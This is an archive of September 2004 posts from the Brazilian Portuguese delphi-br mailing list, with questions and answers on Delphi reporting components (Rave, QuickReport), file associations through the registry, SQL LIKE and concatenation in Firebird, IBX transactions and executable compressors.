 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] Arquivo HTTPD2.PAS

2004-09-29 Por tôpico Mario Conglom
Pessoal:
Alguem usa o Apache 2.0.4x (ou 2.0.50) para windows com Intraweb?
Se positivo, poderia me enviar o arquivo HTTPD2.PAS EDITADO para fazer 
funcionar o Intraweb?

[]s,
Mario.
[EMAIL PROTECTED]




-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] Pergunta ignorante

2004-09-29 Por tôpico Sávio Cler
File New Application.
Project - Remove from project...

Depois

Project - Add to project...


  Sávio Cler
  ICQ 142428832
  www.sgm.rg3.net
  [EMAIL PROTECTED]
  Sto A. de Pádua - Rio de Janeiro
  Contato Pessoal:   (22)9812-0656

  ~ ~
( @ @ )
  ---o0Oo-(_)-oO0o---
  Precisando de dicas?
 www.deephi.hpg.com.br
  ---
Mais de 3 downloads
  -ooO---Ooo-
- Original Message -
From: Cícerot [EMAIL PROTECTED]
To: [EMAIL PROTECTED] [EMAIL PROTECTED];
[EMAIL PROTECTED] Com. Br [EMAIL PROTECTED]
Sent: Wednesday, September 29, 2004 5:46 PM
Subject: [delphi-br] Pergunta ignorante


Depois de fazer vários sistemas (acreditem ahahahhaha), minha dúvida:

Tenho um sistema, tenhos os .PAS .dfm MAS NÃO TENHO O DPR.

Como faço para montar o sistema novamente 

[EMAIL PROTECTED]
---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.698 / Virus Database: 455 - Release Date: 02/06/2004



--
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]



  Yahoo! Grupos, um serviço oferecido por:





Links do Yahoo! Grupos

  a.. Para visitar o site do seu grupo na web, acesse:
  http://br.groups.yahoo.com/group/delphi-br/

  b.. Para sair deste grupo, envie um e-mail para:
  [EMAIL PROTECTED]

  c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço
do Yahoo!.




-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] Pergunta ignorante

2004-09-29 Por tôpico Adriano Guedes
Bom dia!
Isso e facil, basta que voce crie um novo projeto, e adicione todos os formularios 
necessarios a ele, lembre de informar qual e o formulario principal.
 
Atenciosamente
 
Adriano Guedes

Cícerot [EMAIL PROTECTED] wrote:
Depois de fazer vários sistemas (acreditem ahahahhaha), minha dúvida:

Tenho um sistema, tenhos os .PAS .dfm MAS NÃO TENHO O DPR.

Como faço para montar o sistema novamente 

[EMAIL PROTECTED]
---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.698 / Virus Database: 455 - Release Date: 02/06/2004



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]



Yahoo! Grupos, um serviço oferecido por: 

-
Links do Yahoo! Grupos

   Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
  
   Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
  
   O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. 



-
Yahoo! Acesso Grátis - Internet rápida e grátis. Instale o discador agora!

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] Descricao de como criar o seu Preview personalizado para o Rave Report.

2004-09-29 Por tôpico adrianolista
Agurado comentarios.
Criando o seu Preview personalizado para o Rave Report por Adriano 
Guedes.

Existem vários dicas por ai de como fazer isto, mas essa com certeza 
nos da liberdade de criar um preview com a nossa cara.

Primeira parte: Componentes e Propriedades

1.  Um formulário
1.1.Name  Form_Visualizacao
2.  Coloque no Form_Visualizacao um Painel
2.1.Align   alTop
2.2.Name Painel
3.  Coloque no Form_Visualizacao um ScrollBox (Additional)
3.1.Align alClient
3.2.Name ScrollBox1 (Para diferenciar da propriedade ScrollBox 
do RvRenderPreview)
Agora vamos colocar componentes do Rave (Rave).
4.  RvSystem
4.1.NameReportSystem
5.  RvRenderPreview
5.1.Name RvRenderPreview
5.2.ScrollBox   ScrollBox1
6.  RvRenderPrint
6.1.NameRvRenderPrint
7.  RvRenderPDF
7.1.Name RvRenderPDF
8.  RvRenderHTML
8.1.Name RvRenderHTML
9.  RvRenderRTF
9.1.Name RvRenderRTF
10. RvRenderText
10.1.   Name RvRenderText
11. RvNDRWriter
11.1.   Name RvNDRWriter
Vamos colocar as caixas de dialogo (Dialogs).
12. OpenDialog
12.1.   DefaultExt  NDR (coloque apenas as três letras sem ponto)
12.2.   Filter
12.2.1. FilterName  Rave Report (*.ndr)
12.2.2. Filter  *.ndr
12.3.   NameOpenDialog
12.4.   Options
12.4.1. ofPathMustExist True
12.4.2. ofFileMustExist True
13. SaveDialog
13.1.   DefaultExt  NDR (coloque apenas as três letras sem ponto)
13.2.   Filter
13.2.1. FilterName  Filter
13.2.2. Adobe Acrobat (*.pdf)   *.pdf
13.2.3. Formato Rich Text (*.rtf)   *.rtf
13.2.4. Página da Web (*.html)  *.html
13.2.5. Rave Report (*.ndr) *.ndr
13.2.6. Texto sem formatação (*.txt)*.txt
13.3.   NameSaveDialog
13.4.   Options
13.4.1. ofOverwritePrompt   True
13.4.2. ofPathMustExist True
14. PrintDialog
14.1.   NamePrintDialog
14.2.   Options
14.2.1. poPageNums  True
14.2.2. poSelection True
14.3.   PrintRange  prAllPages

Segunda parte: Procedure, Property e Class

Em Interface escreva o código abaixo:

Protected {Protegendo as propriedades}
Vari_Pagi_Numero: integer;
Vari_OnGenerate: TNotifyEvent;
Vari_Arqu_Entrada: String;
Vari_Stre_Entrada: TStream;
Vari_OnAfterPreviewPrint: TNotifyEvent;
  Private

  Public

Class Procedure Most_Arquivo(Const Vari_Arqu_Nome: String);

Property Pagi_Numero: integer read Vari_Pagi_Numero write 
Vari_Pagi_Numero;
Property OnGenerate: TNotifyEvent read Vari_OnGenerate write 
Vari_OnGenerate;
Property OnAfterPreviewPrint: TNotifyEvent read 
Vari_OnAfterPreviewPrint write Vari_OnAfterPreviewPrint;
Property Arqu_Entrada: String read Vari_Arqu_Entrada write 
Vari_Arqu_Entrada;
Property Stre_Entrada: TStream read Vari_Stre_Entrada write 
Vari_Stre_Entrada;

  end;

Declare a variável Vari_Arqu_Aberto: String;

Em Implementation escreva o código abaixo: (Declare as procedures em 
Interface)

procedure TForm_Visualizacao.Abri_Arquivo(const Vari_Arqu_Nome: 
string);
begin
 Try
  with RvRenderPreview do
  begin
   InputFileName := Vari_Arqu_Nome;
   NDRStream.Free;
   Render(InputFileName);
   PrintDialog.MaxPage := RvRenderPreview.Pages;
   Caption := Application.Title + ' - ' + ExtractFileName
(InputFileName);
  end;
 Except
  MessageDlg(Vari_Arqu_Nome + chr(13) 
  + 'O ' + Application.Title + ' não pode ler este arquivo.' 
+ chr(13) 
  + 'Este não é um arquivo válido ou não há suporte para o 
formato atualmente.',mtWarning,[mbOK],0);
 end;
end;

Procedure TForm_Visualizacao.Inic_ReportSystem;
Begin
 If Vari_Arqu_Entrada  '' Then
 Begin
  RvRenderPreview.NDRStream := TFileStream.Create
(Vari_Arqu_Entrada, fmOpenRead Or fmShareDenyWrite);
 End
 Else
 Begin
  RvRenderPreview.NDRStream := Vari_Stre_Entrada;
 End;
 RvRenderPreview.Render;
 ReportSystem.PreviewShowEvent(RvRenderPreview);
End;

Class Procedure TForm_Visualizacao.Most_Arquivo(Const 
Vari_Arqu_Nome: String);
Begin
 With TForm_Visualizacao.Create(Application) Do
 Begin
  Abri_Arquivo(Vari_Arqu_Nome);
  Visible := true;
 End;
End;

Terceira parte: Botões e eventos

Coloque sobre o Painel doze botões, dois edits (um edit para mostrar 
a pagina atual e outro para mostrar o fator de zoom e seus 
respectivos labels) e 1 label para mostrar o total de paginas do 
relatório.

1.  1º edit
1.1.properties
1.1.1.  nameEdit_Pagina
1.1.2.  text1
1.2.Events
1.2.1.  OnKeyDown
If Key = 13 then
begin
 RvRenderPreview.RenderPage(StrToInt(Edit_Pagina.Text));
end;
2.  2º edit
2.1.properties
2.1.1.  nameEdit_Zoom
2.1.2.  text100
2.2.Events
2.2.1.  OnKeyDown
If Key = 13 then
begin
 RvRenderPreview.ZoomFactor := StrToFloat
(Edit_Zomm.Text);
end;
3.  

Re: [delphi-br] Como associar um arquivo a um aplicativo.

2004-09-29 Por tôpico Gabriel Dimas
Dica retirado do DTDelphi2.6

Inclua na seção uses: Registry

Problema:

Criei um editor de textos no Delphi. Agora gostaria que o Windows 
Explorer usasse este editor para abrir arquivos com a extensão .dpg e 
.dan. Como fazer?

Solução:

Para fazer isto será necessária a criação de algumas chaves no Registro 
do Windows. O exemplo abaixo cria todas as chaves necessárias.

- Coloque um TButton e no evento OnClick dele coloque o código abaixo:


procedure TForm1.Button1Click(Sender: TObject);


var


  Reg: TRegistry;


begin


  Reg := TRegistry.Create;


  try


  Reg.RootKey := HKEY_CLASSES_ROOT;


  Reg.LazyWrite := false;


  { Define o nome interno (ArquivoDaniel) e uma legenda que
aparecerá no Windows Explorer (Arquivo do Daniel) }


  Reg.OpenKey('ArquivoDaniel', true);


  Reg.WriteString('', 'Arquivo do Daniel');


  Reg.CloseKey;


{ Define o comando a ser executado quando abrir um arquivo
pelo Windows Explorer (NomeDoExe %1). O símbolo %1 indica
que o arquivo a ser aberto será passado como primeiro
parâmetro para o aplicativo - ParamStr(1). }


  Reg.OpenKey('ArquivoDaniel\shell\open\command', true);


  Reg.WriteString('', ParamStr(0) + ' %1'); { NomeDoExe %1 }


  Reg.CloseKey;


  { Define o ícone a ser usado no Windows Explorer:


  0 - primeiro ícone do EXE


  1 - segundo ícone do EXE, etc }


  Reg.OpenKey('ArquivoDaniel\DefaultIcon', true);


  Reg.WriteString('', ParamStr(0) + ',0'); { 0 = primeiro
ícone }


  Reg.CloseKey;


  { Define as extensões de arquivos que serão abertos pelo
meu aplicativo }


  { *.dpg }


  Reg.OpenKey('.dpg', true);


  Reg.WriteString('', 'ArquivoDaniel');


  Reg.CloseKey;


  { *.dan }


  Reg.OpenKey('.dan', true);


  Reg.WriteString('', 'ArquivoDaniel');


  Reg.CloseKey;


  finally


  Reg.Free;


  end;


end;

- Coloque um TMemo;

- No evento OnShow do Form coloque o código abaixo:


procedure TForm1.FormShow(Sender: TObject);


begin


  { Se o primeiro parâmetro for um nome de arquivo
existente... }


  if FileExists(ParamStr(1)) then


  { Carrega o conteúdo do arquivo no memo }


  Memo1.Lines.LoadFromFile(ParamStr(1));


end;

*** Para testar ***

- Execute este programa;

- Clique no botão para criar as chaves no Registro do Windows;

- Feche o programa;

- Crie alguns arquivos com as extensões .dpg e .dan;

- Vá ao Windows Explorer e procure pelos arquivos criados;

- Experimente dar um duplo-clique sobre qualquer dos arquivos com uma 
das extensões acima.

Observações

Existem outros recursos que poderão ser configurados. Porém, para 
começar, este já é um bom exemplo.

:-)




[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] Usando comando Like

2004-09-29 Por tôpico er83pet04
Pessoal,

Tenho um campo em uma tabela que guarda o telefone de clientes. O 
telefone é um campo do tipo varchar2 e é guardado da seguinte forma: 
254-6395, 254-2478, 455-4859...
Como posso montar uma consulta para pesquisar todos os clientes que 
tem o telefone que comece com 254 ou com 455 ou qualquer outro 
prefixo que será passado como parâmetro para a consulta, mas se 
houver algum telefone que no final possua a mesma combinação que no 
prefixo passado, não pode ser exibido no resultado da query. Ou 
seja, exibir somente os telefones que comecem com 455. Se houver um 
cliente com telefone que seja = a 452-2455, ele deverá ser ignorado.

SELECT *
FROM CLIENTES
WHERE FONE_CLIENTE LIKE 

Consigo fazer isso com o Like ou há outro comando melhor?

Obrigada




-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] Usando comando Like

2004-09-29 Por tôpico Nielsen Cassiano Simões
  Oi ?,

   Tente da forma:

WHERE (FONE_CLIENTE LIKE 254%) OR (FONE_CLIENTE LIKE 455)

  Nielsen

On Thu, 30 Sep 2004 00:03:17 -, er83pet04 [EMAIL PROTECTED] wrote:
 Pessoal,
 
 Tenho um campo em uma tabela que guarda o telefone de clientes. O
 telefone é um campo do tipo varchar2 e é guardado da seguinte forma:
 254-6395, 254-2478, 455-4859...
 Como posso montar uma consulta para pesquisar todos os clientes que
 tem o telefone que comece com 254 ou com 455 ou qualquer outro
 prefixo que será passado como parâmetro para a consulta, mas se
 houver algum telefone que no final possua a mesma combinação que no
 prefixo passado, não pode ser exibido no resultado da query. Ou
 seja, exibir somente os telefones que comecem com 455. Se houver um
 cliente com telefone que seja = a 452-2455, ele deverá ser ignorado.
 
 SELECT *
 FROM CLIENTES
 WHERE FONE_CLIENTE LIKE 
 
 Consigo fazer isso com o Like ou há outro comando melhor?
 
 Obrigada



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] Usando comando Like

2004-09-29 Por tôpico Fernando


Tudo que inicia com 455:
SELECT *
FROM CLIENTES
WHERE FONE_CLIENTE LIKE '455%'

Tudo que termina com 455:
SELECT *
FROM CLIENTES
WHERE FONE_CLIENTE LIKE '%455'

Tudo que contem 455:
SELECT *
FROM CLIENTES
WHERE FONE_CLIENTE LIKE '%455%'


Fernando


At 21:03 29/09/2004, you wrote:
Pessoal,

Tenho um campo em uma tabela que guarda o telefone de clientes. O
telefone é um campo do tipo varchar2 e é guardado da seguinte forma:
254-6395, 254-2478, 455-4859...
Como posso montar uma consulta para pesquisar todos os clientes que
tem o telefone que comece com 254 ou com 455 ou qualquer outro
prefixo que será passado como parâmetro para a consulta, mas se
houver algum telefone que no final possua a mesma combinação que no
prefixo passado, não pode ser exibido no resultado da query. Ou
seja, exibir somente os telefones que comecem com 455. Se houver um
cliente com telefone que seja = a 452-2455, ele deverá ser ignorado.

SELECT *
FROM CLIENTES
WHERE FONE_CLIENTE LIKE 

Consigo fazer isso com o Like ou há outro comando melhor?

Obrigada



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 





Re: [delphi-br] Como concatenar 2 campos em um só em uma SQL

2004-09-29 Por tôpico Fernando

Se nao me engano, no FB a concatenacao e feita com o simbolo ||.

SELECT Nome || Sobrenome AS NomeCompleto
FROM Tabela

Mas nao tenho certeza se funciona no select.

Fernando


At 10:56 28/09/2004, you wrote:
Amigos,
Como concatenar 2 campos em um só em uma SQL (Interbase/Firebird). No 
access faço assim:

SELECT [campo1]+[campo2] AS [CampoConcatenado]
FROM Tabela;

desde já, agradeço.


[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] Compactacao de .exe

2004-09-29 Por tôpico Fernando

Tente o StripReloc. Acho que e free, nao me lembro. Se nao me engano tem um 
link na pagina do Inno Setup.

Fernando


At 09:31 24/09/2004, you wrote:
 eu lí a aglgum tempo uma mensagen de um colega nosso de lista que
falava sobre um compactador de executaveis. Eu tinha salvado a mensagem,
mas eu sem querer exclui ela.

 Na época me interessou em fazer um comparativo, mas eu tava sem tempo.
agora que estou com tempo, n?o tenho o nome do indivíduo.

 Se alguem souber de algum(sem ser o UPX) por favor, me da um toque(de
preferência falando o tipo e licença).

--

Daniel A. Bastos



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] QUICK_REPORT

2004-09-29 Por tôpico Carlos Alberto
Bom dia 

Estou enviando este email com o objetivo de ajudar quem por um acaso tiver o mesmo 
problema levantado no ítem 2. O item 1 ainda nao resolvi, só descobrir que o Quick 
Report 4 ja implementou no settings da impressora o controle do Collate

Vamos la 

1- inseri uma banda datail onde atraves de um QRDBText associei o campo Cultivar 
centralizando na banda (funcionando como um subt´titulo), como queria que cada 
cultivar iniciasse eem uma novsa pagina coloquei na propriedade ForcrNewPage da band 
detalhe TRUE.

Na mesma banda em uma area mais inferior coloquei tres QRLabel, na mesma linha,  cujos 
caption foram  Locus, Alelo1, Alelo2
respectivamente

Mudei a propriedade desta banda HasChild como True. Assim criou-se uma banda Child 

2-  Na banda Child criada coloquei uma QRlabel, e dois QRDBText desta ordem em uma 
posição alinhada verticalmente aos tres QRLabel colocados na banda anterior. Preenchi 
o caption do QRLAbel com o nome do primeiro Locus e preenchi os QRDBText com os 
DataSet e DataField   correspondente a este locus

E agora no evento BeforePrint a seguinte 

   PrintBand := Table1.FieldByName('Alelo1').AsString  '';

Mudei a propriedade desta banda HasChild como True. Assim criou-se uma banda Child 

3- Nesta nova banda repeti os mesmos procedimento que no item 2 e assim fui repetindo 
para cada locus

Observação: Para  testar tem que compilar e executar o executavel pois fazendo o 
preview direto do QuickReport nao elimina os campos vazios


1) Como faço para tratar a impressao se o usuario desmarcar a indicação de agrupar no 
setup de impressao pois a impressao sai sempre agrupada

tentei por fora e dentro do if printDialog1.Execute

   Printer.GetPrinter(Device, Driver, Port, hDevMode);
   PrintMode := GlobalLock(hDevMode);
   if PrintDialog1.Collate then
  begin
 PrintMode^.dmFields := PrintMode^.dmFields or DM_COLLATE;
 PrintMode^.dmCollate := DMCOLLATE_TRUE;
  end
   else
  begin
 PrintMode^.dmFields := PrintMode^.dmFields or DM_COLLATE;
 PrintMode^.dmCollate := DMCOLLATE_FALSE;
  end;
   GlobalUnLock(hDevMode);



2) A outra e´ como montar o relatorio.
Tenho uma tabela com a seguinte estrutura


Cultivar  A1   A2  B1  B2  C1  C2
   CV1-  -12   14--
   CV2   1617   --   8   9
   CV3   2121   14  166   5


sendo  A locus A
   B locus B
  

  A1 alelo A1
  A2 alelo A2
  B1 alelo B1
  B2 alelo B2
.


Eu gostaria que saisse desta forma



  Cultivar CV1// título

 
 Locus   Alelo1   Alelo2

B  1214

ou seja para cada cultivar, em uma página separada, só se imprimiria os locus onde os 
alelos estao presentes (com valores)

Eu tentei da seguinte maneira


Criei uma banda detalhe onde coloquei (na primeira linha para formar o titulo) um 
QRLabel com caption Cultivar e um QRDBText  com o DataField  Cultivar. Na segunda 
linha tres QRLabel com os caption Locus, Alelo1 e Alelo2. Como queria que cada 
cultivar saisse em um nova página coloquei na propriedade ForcrNewPage da band detalhe 
TRUE. Até aqui o relatorio estava como o previsto. Na hora de colocar os valores que 
a corda roeu pois nao estou conseguindo fazer aparecer os dados. 


Agradeço desde ja


[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] Firebird, IBX e transações

2004-09-29 Por tôpico Fernando

Voce tem razao, tem a ver com o IBTransaction. O IB nao grava 
automaticamente os dados no banco. Voce deve dar um commit para confirmar 
as alteracoes da transacao, ou rollback para descarta-las.

IBTransaction.Commit;
ou
IBTransaction.RollBack;

Lembre-se de reiniciar a transacao depois.
IBTransaction.StartTransaction;  //eu acho

Fernando


At 12:05 29/09/2004, you wrote:
Estou com seguinte problema quando acabo de inserir um registro em um
BD Firebird rodando em rede os outros usuários só conseguem vê-lo se
fechar o programa e voltar. Como faço para que um usuário enxergue os
registros que acabaram de ser inseridos por outros usuários?

Se que é algo relacionado com o componente IBTransaction mas como
faria isso?

Uso Firebird e componentes IBX



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html